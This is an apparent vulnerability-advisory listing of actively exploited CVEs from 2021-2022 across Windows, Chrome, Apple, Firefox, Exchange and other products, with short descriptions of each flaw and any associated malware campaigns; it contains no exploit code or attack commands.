Spoofing attack in Microsoft Windows LSA
CVE-2022-26925

Man-in-the-Middle (MitM) attack

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists within the Windows LSA service. A remote attacker can call a method on the LSARPC interface and coerce the domain controller to authenticate to the attacker using NTLM. As a result, an attacker can obtain credentials and compromise the affected system via the NTLM Relay Attack.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Google Chrome
CVE-2022-1364

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error in V8 engine in Google Chrome. A remote attacker can trick the victim to visit a specially crafted web page, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Privilege escalation in Microsoft Windows common log file system driver
CVE-2022-24521

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Common Log File System Driver. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in Apple macOS Monterey
CVE-2022-22674

Out-of-bounds read

The vulnerability allows a local user to gain access to potentially sensitive information.

The vulnerability exists due to a boundary condition within Intel Graphics Driver. A local user can  trigger an out-of-bounds read error and read contents of kernel memory.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in Apple macOS Monterey
CVE-2022-22675

Out-of-bounds write

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the AppleAVD subsystem. A local user can run a specially crafted program to trigger an out-of-bounds write and execute arbitrary code with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Remote code execution in Trend Micro Apex Central
CVE-2022-26871

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to improper access restrictions in the Trend Micro Apex Central management console. A remote non-authenticated attacker can upload arbitrary file to the system and execute it.

Note, the vulnerability is being actively exploited in the wild.

Software: Apex Central

Remote code execution in Spring Framework
CVE-2022-22965

Code Injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation. A remote attacker can send a specially crafted HTTP request to the affected application and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

This vulnerability was dubbed "Spring4Shell".

Software: Pivotal Spring Framework

Remote code execution in Sophos Firewall
CVE-2022-1040

Input validation error

The vulnerability allows a remote attacker to compromise the affected device.

The vulnerability exists due to insufficient validation of user-supplied input in the User Portal and Webadmin. A remote attacker can send specially crafted requests to the web interface and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise the affected device.

Note, the vulnerability is being actively exploited in the wild.

i

Sophos has observed this vulnerability being used to target a small set of specific organizations primarily in the South Asia region.

Software: Sophos Firewall

Sophos has observed this vulnerability being used to target a small set of specific organizations primarily in the South Asia region.

Remote code execution in Google Chrome
CVE-2022-1096

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 component in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Mozilla Firefox
CVE-2022-26486

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing messages in the WebGPU IPC framework. A remote attacker can trick the victim to open a specially crafted web page, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Mozilla Firefox

Remote code execution in Mozilla Firefox
CVE-2022-26485

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing XSLT parameter. A remote attacker can trick the victim to open a specially crafted web page, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Mozilla Firefox

Multiple vulnerabilities in Google Chrome
CVE-2022-0609

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error within the Animation component in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger use-after-free error and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Magento
CVE-2022-24086

OS Command Injection

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation. A remote unauthenticated attacker can send  a specially crafted HTTP POST request to the application and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Software: Adobe Commerce (formerly Magento Commerce)

Remote code execution in Apple iOS and iPadOS
CVE-2022-22620

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing HTML content in WebKit. A remote attacker can trick the victim to visit a specially crafted web page, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Cross-site scripting in Zimbra
CVE-2022-24682

Cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note, the vulnerability is being actively exploited in the wild in the targeted attacks aimed to exfiltrated data.

Software: Zimbra Collaboration

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2022-22587

Buffer overflow

The vulnerability allows a malicious application to execute arbitrary code with elevated privileges.

The vulnerability exists due to a boundary error within the IOMobileFrameBuffer subsystem. A malicious application can trigger buffer overflow and execute arbitrary code with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Microsoft Win32k
CVE-2022-21882

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Win32k.sys driver. A local user can run a specially crafted program to trigger a buffer overflow and execute arbitrary code on the system with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in FreePBX Phone Apps module
CVE-2021-45461

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insufficient validation of user-supplied input in the Phone Apps (restapps) module for FreePBX. A remote attacker can send specially crafted input to the application and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Phone Apps

Multiple vulnerabilities in Google Chrome
CVE-2021-4102

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error within the V8 engine. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger use-after-free error and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Code injection in Ivanti Endpoint Manager
CVE-2021-44529

Embedded malicious code (backdoor)

The vulnerability allows a remote attacker to gain unauthorized access to the application.

The vulnerability exists due to presence of embedded malicious functionality in the application code (aka backdoor) within the "/opt/landesk/broker/webroot/lib/csrf-magic.php" file. A remote non-authenticated attacker can set specially crafted cookies and gain unauthorized access to the application.

Note, the vulnerability patched in 2021 by Ivanti is considered a backdoor.

i

This entry was added only on 19.2.2024. The vulnerability was addressed by the vendor on 02.12.2021, however it was not disclosued as a backdoor or a zero-day.

Software: Endpoint Manager

This entry was added only on 19.2.2024. The vulnerability was addressed by the vendor on 02.12.2021, however it was not disclosued as a backdoor or a zero-day.

Privilege escalation in Microsoft Windows
CVE-2021-43890

Permissions, Privileges, and Access Controls

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to incorrect permissions in windows installer service. A local user can run a specially crafted program to execute arbitrary code with SYSTEM privileges.

The vulnerability exists due to incomplete patch for #VU58061 (CVE-2021-41379).

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Known/fameous malware:

Emotet, Trickbot, Bazaloader

Arbitrary file upload in FatPipe WARP, MPVPN and IPVPN

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload in the web management interface. A remote attacker can upload a malicious file and execute it on the server.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability allows multiple APT actors to gain access to an unrestricted file upload function and execute arbitrary code on the system.

Software: IPVPN, MPVPN, WARP

The vulnerability allows multiple APT actors to gain access to an unrestricted file upload function and execute arbitrary code on the system.

Remote code execution in Microsoft Excel
CVE-2021-42292

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper input validation when processing Excel files. A remote attacker can create a specially crafted Excel file, trick the victim into opening it and execute arbitrary code on the system.

Note, the vulnerability is being exploited in the wild.

Software: Microsoft Office

Remote code execution in Microsoft Exchange Server
CVE-2021-42321

Input validation error

The vulnerability allows a remote user to compromise the affected system.

The vulnerability exists due to insufficient validation of cmdlet arguments. A remote user can run a specially crafted cmdlet and execute arbitrary commands on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Microsoft Exchange Server

Privilege escalation in Google Android
CVE-2021-1048

Use-after-free

The vulnerability allows a malicious application to escalate privileges on the system.

The vulnerability exists due to a use-after-free error in the Android kernel component within the epoll_loop_check_proc() function. A malicious application can trigger a use-after-free error and execute arbitrary code with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Android

Multiple vulnerabilities in Google Chrome
CVE-2021-38003

Improperly implemented security check for standard

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to incorrect implementation in the V8 engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it and compromise the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Google Chrome
CVE-2021-38000

Exposed dangerous method or function

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insecure implementation in V8 engine in Google Chrome. A remote attacker can create a specially crafted website, trick the victim into visiting it and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

SQL injection in BQE BillQuick Web Suite
CVE-2021-42258

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can send a specially crafted request to the affected application and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to read, delete, modify data in database and gain complete control over the affected application.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability allows a remote attacker to cause SQL injection, leading to remote code execution.

Software: BillQuick Web Suite

The vulnerability allows a remote attacker to cause SQL injection, leading to remote code execution.

Privilege escalation in Microsoft Windows kernel
CVE-2021-40449

Use-after-free

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Win32k NtGdiResetDC function in Microsoft Windows kernel. A local user can run a specially crafted program to trigger a use-after-free error, when the function ResetDC is executed a second time for the same handle during execution of its own callback, and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.
i

A Chinese-speaking hacking group exploited a zero-day vulnerability in the Windows Win32k kernel driver to deploy a previously unknown remote access trojan (RAT).

The attacks were noticed in late August and September 2021

Software: Windows

Known/fameous malware:

MysterySnail

A Chinese-speaking hacking group exploited a zero-day vulnerability in the Windows Win32k kernel driver to deploy a previously unknown remote access trojan (RAT).

The attacks were noticed in late August and September 2021

Privilege escalation in Apple iOS and iPadOS
CVE-2021-30883

Integer overflow

The vulnerability allows a malicious application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the IOMobileFrameBuffer subsystem. A malicious application can trigger integer overflow and execute arbitrary code on with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.



Software: Apple iOS

Multiple vulnerabilities in Apache HTTP Server
CVE-2021-41773

Path traversal

The vulnerability allows a remote attacker to perform directory traversal attacks.

The vulnerability exists due to input validation error when processing directory traversal sequences. A remote attacker can send a specially crafted HTTP request to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts.

The vulnerability can be used to execute arbitrary OS commands on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apache HTTP Server

Multiple vulnerabilities in Google Chrome
CVE-2021-37976

Information disclosure

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to excessive data output in core in Google Chrome. A remote attacker can trick the victim to open a specially crafted web page and gain access to sensitive information.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Google Chrome
CVE-2021-37975

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error within the V8 browser engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger use-after-free error and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Google Chrome
CVE-2021-37973

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing HTML content within the Portals component in Google Chrome. A remote attacker can create a specially crafted website, trick the victim into visiting it, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Privilege escalation in Apple macOS Catalina
CVE-2021-30869

Type Confusion

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a type confusion error within the XNU subsystem. A local user can run a specially crafted program to trigger a type confusion error and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in Apple macOS Big Sur
CVE-2021-31010

Deserialization of Untrusted Data

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to insecure input validation when processing serialized data within the Core Telephony service. A local application can pass specially crafted data to the service and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Remote code execution in EntroLink PPX-AnyLink devices

Code Injection

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation. A remote administrator can execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.
Not patched
i

The vulnerability was used by multiple ransomware gangs to remotely execute code to PPX-AnyLink devices 

Software: PPX-AnyLink 6004, PPX-AnyLink 6006, PPX-AnyLink 6900F, PPX-AnyLink 6900, PPX-AnyLink 6904, PPX-AnyLink 8000

The vulnerability was used by multiple ransomware gangs to remotely execute code to PPX-AnyLink devices 

Multiple vulnerabilities in Google Chrome
CVE-2021-30633

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error within the Indexed DB API component in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger use-after-free error and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in-the-wild.

Software: Google Chrome

Multiple vulnerabilities in Google Chrome
CVE-2021-30632

Out-of-bounds write

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing untrusted HTML content in V8. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger out-of-bounds write and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in-the-wild.

Software: Google Chrome

Remote code execution in Apple iOS
CVE-2021-30858

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing HTML content in WebKit. A remote attacker can trick the victim to visit a specially crafted web page, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in-the-wild.

Software: Apple iOS

Remote code execution in Zoho ADSelfService Plus
CVE-2021-40539

Improper access control

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper access restrictions to the "/RestAPI/LogonCustomization" and "/RestAPI/Connection" REST API endpoints. A remote non-authenticated attacker can send specially HTTP requests to the aforementioned REST API endpoints and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Zoho ManageEngine ADSelfService Plus

Remote code execution in Microsoft MSHTML
CVE-2021-40444

Code Injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation within the MSHTML component. A remote attacker can create a specially crafted Office document with a malicious ActiveX control inside, trick the victim into opening the document and execute arbitrary code on the system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Apple iOS
CVE-2021-30860

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to integer overflow when processing PDF files within the CoreGraphics component. A remote attacker can trick the victim to open a specially crafted PDF file, trigger integer overflow and execute arbitrary code on the target system.

Note, the vulnerability is being active exploited in-the-wild via the FORCEDENTRY tool against Bahraini activists.

i

The vulnerability is believed to be used against Bahraini activists.

Software: Apple iOS

Known/fameous malware:

FORCEDENTRY

The vulnerability is believed to be used against Bahraini activists.

Privilege escalation in Microsoft Windows Update Medic Service
CVE-2021-36948

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Update Medic Service. A local user can run a specially crafted program to execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in Trend Micro Apex One
CVE-2021-36742

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error. A local user can run a specially crafted program to trigger memory corruption and execute arability code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apex One

Multiple vulnerabilities in Trend Micro Apex One
CVE-2021-36741

Arbitrary file upload

The vulnerability allows a remote user to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload within the productтАЩs management console . A remote user can upload a malicious file and execute it on the server.

Note, the vulnerability is being actively exploited in the wild.

Software: Apex One

Privilege escalation in Apple iOS and iPadOS
CVE-2021-30807

Buffer overflow

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary within the IOMobileFrameBuffer subsystem. A local application can trigger memory corruption and execute arbitrary code on the target system with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Google Chrome
CVE-2021-30563

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 component in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

SQL injection in WooCommerce and WooCommerce Blocks plugin
CVE-2021-32789

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can send a specially crafted request to the affected application and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to read, delete, modify data in database and gain complete control over the affected application.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was used to compromise WooCommerce plugin.

Software: WooCommerce

The vulnerability was used to compromise WooCommerce plugin.

Privilege escalation in Microsoft Windows kernel
CVE-2021-31979

Buffer overflow

The vulnerability allows a local user to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in Windows kernel. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code on the system with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Microsoft Scripting Engine
CVE-2021-34448

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content in Microsoft scripting engine. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Privilege escalation in Microsoft Windows kernel
CVE-2021-33771

Buffer overflow

The vulnerability allows a local user to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code on the system with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in SolarWinds Serv-U
CVE-2021-35211

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error. A remote attacker can send a specially crafted request to the Serv-U server, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

i

MicrosoftтАЩs research indicates this vulnerability exploit involves a limited, targeted set of customers and a single threat actor.

Software: Serv-U FTP Server

MicrosoftтАЩs research indicates this vulnerability exploit involves a limited, targeted set of customers and a single threat actor.

Remote code execution in Kaseya VSA
CVE-2021-30116

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to unspecified error. A remote attacker can compromise the affected system.

Note, the vulnerability is being actively exploited in the wild by the REvil ransomware.

Not patched

Software: Kaseya VSA

Known/fameous malware:

REvil

Remote code execution in Microsoft Windows Print Spooler
CVE-2021-34527

Code Injection

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation within the RpcAddPrinterDriverEx() function. A remote user can send a specially crafted request to the Windows Print Spooler and execute arbitrary code with SYSTEM privileges.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being considered a zero-day and dubbed PrintNightmare. This is a different vulnerability than #VU54508 (CVE-2021-1675).


i

The PoC-code for this vulnerability was being made publicly available by mistake before official patch release. The vulnerability is considered a zero-day.

Software: Windows Server

The PoC-code for this vulnerability was being made publicly available by mistake before official patch release. The vulnerability is considered a zero-day.

Improper access control in WD My Book Live and WD My Book Live Duo
CVE-2021-35941

Improper access control

The vulnerability allows a remote attacker to delete all data on the system.

The vulnerability exists due to improper access restrictions to the administrator API. A remote non-authenticated attacker can send a specially crafted HTTP request to the exposed API and perform a system factory restore, deleting all data on the NAS device.

Note, the vulnerability is being actively exploited in the wild along with vulnerability #VU15460.

Not patched
i


Software: WD My Book Live Duo, WD My Book Live


Multiple vulnerabilities in Google Chrome
CVE-2021-30554

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error within the WebGL component in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger use-after-free error and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Apple iOS 12
CVE-2021-30762

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content within the WebKit component in Apple iOS. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger a use-after-free error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS 12
CVE-2021-30761

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content within the WebKit component in Apple iOS. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

i


Software: Apple iOS


Multiple vulnerabilities in Google Chrome
CVE-2021-30551

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 component in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Privilege escalation in Microsoft Enhanced Cryptographic Provider
CVE-2021-31201

Security restrictions bypass

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to improperly imposed security restrictions in Microsoft Enhanced Cryptographic Provider. A local user can bypass implemented security restrictions and read or modify otherwise restricted information.

Note, the vulnerability is being actively exploited in the wild and related to a zero-day vulnerability in Adobe Reader #VU53125 (CVE-2021-28550) patched on May 11.

Software: Windows

Privilege escalation in Microsoft Enhanced Cryptographic Provider
CVE-2021-31199

Security restrictions bypass

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to improperly imposed security restrictions in Microsoft Enhanced Cryptographic Provider. A local user can bypass implemented security restrictions and read or modify otherwise restricted information.

Note, the vulnerability is being actively exploited in the wild and related to a zero-day vulnerability in Adobe Reader #VU53125 (CVE-2021-28550) patched on May 11.

Software: Windows

Remote code execution in Microsoft DWM Core Library
CVE-2021-33739

Improper Privilege Management

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper privilege management within the Microsoft DWM Core Library. A remote attacker can trick the victim to run a specially crafted executable or script and execute arbitrary code on the system.

i

The vulnerability was reported by DBAPPSecurity Lieying Lab.

Software: Windows

The vulnerability was reported by DBAPPSecurity Lieying Lab.

Remote code execution in Windows MSHTML Platform
CVE-2021-33742

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content within Windows MSHTML Platform. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

i

The vulnerability was reported by GoogleтАЩs Threat Analysis Group.

Software: Windows

The vulnerability was reported by GoogleтАЩs Threat Analysis Group.

Privilege escalation in Microsoft Windows NTFS
CVE-2021-31956

Permissions, Privileges, and Access Controls

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists within the NTFS subsystem in Microsoft Windows. A local user can run a specially crafted program to execute arbitrary code with elevated privileges.

i

The vulnerability was reported to Microsoft by Kaspersky Lab.

Software: Windows

The vulnerability was reported to Microsoft by Kaspersky Lab.

OS Kernel information disclosure Microsoft Windows
CVE-2021-31955

Improper Privilege Management

The vulnerability allows a local user to gain access to sensitive information.

The vulnerability exists due to improper privilege management. A local unprivileged user can read contents of Kernel memory from a user mode process.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was reported to Microsoft by Kaspersky Lab.

Software: Windows

The vulnerability was reported to Microsoft by Kaspersky Lab.

Arbitrary file upload in Fancy Product Designer plugin for WordPress
CVE-2021-24370

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload in "wp-admin" or "wp-content/plugins/fancy-product-designer/inc". A remote attacker can upload a malicious file and execute it on the server.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was used to upload arbitrary files on the target system.

Software: Fancy Product Designer

The vulnerability was used to upload arbitrary files on the target system.

Multiple vulnerabilities in Apple macOS Big Sur
CVE-2021-30713

Input validation error

The vulnerability allows a local user to bypass Privacy preferences.

The vulnerability exists due to insufficient validation of user-supplied input within the TCC subsystem. A malicious application can  bypass Privacy preferences and gain full disk access, perform screen recording or gain other permissions without requiring user's explicit consent.

Note, the vulnerability is being actively exploited in the wild by XCSSET malware.

Software: macOS

Known/fameous malware:

XCSSET

Multiple vulnerabilities in Adobe Reader and Acrobat
CVE-2021-28550

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing PDF content. A remote attacker can create a specially crafted PDF file, trick the victim into opening it, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Adobe Reader

Multiple vulnerabilities in Google Android
CVE-2021-1906

Detection of Error Condition Without Action

The vulnerability allows a local user to perform a denial of service (DoS) attack.

The vulnerability exists due to improper error handling within the Graphics component. A local user can trigger a new GPU address allocation failure and perform a denial of service attack.

Note, the vulnerability is being used in limited targeted attacks.

Software: Google Android

Multiple vulnerabilities in Google Android
CVE-2021-1905

Use-after-free

The vulnerability allows a local user to escalate privileges on the system

The vulnerability exists due to a use-after-free error in Graphics component when handling memory mapping of multiple processes simultaneously. A local user can escalate privileges on the system.

Note, the vulnerability is being used in limited targeted attacks.

Software: Google Android

Multiple vulnerabilities in Google Android
CVE-2021-28664

Buffer overflow

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Arm Mali GPU kernel driver. This affects Bifrost r0p0 through r28p0 before r29p0, Valhall r19p0 through r28p0 before r29p0, and Midgard r8p0 through r30p0. A local application can trigger memory corruption and execute arbitrary code on the system with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Android

Multiple vulnerabilities in Google Android
CVE-2021-28663

Use-after-free

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a use-after-free error within the Arm Mali GPU kernel driver. This affects Bifrost r0p0 through r28p0 before r29p0, Valhall r19p0 through r28p0 before r29p0, and Midgard r4p0 through r30p0. A local application can trigger a use-after-free error and execute arbitrary code on the system with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Android

Multiple vulnerabilities in Apple iOS 12.x
CVE-2021-30666

Buffer overflow

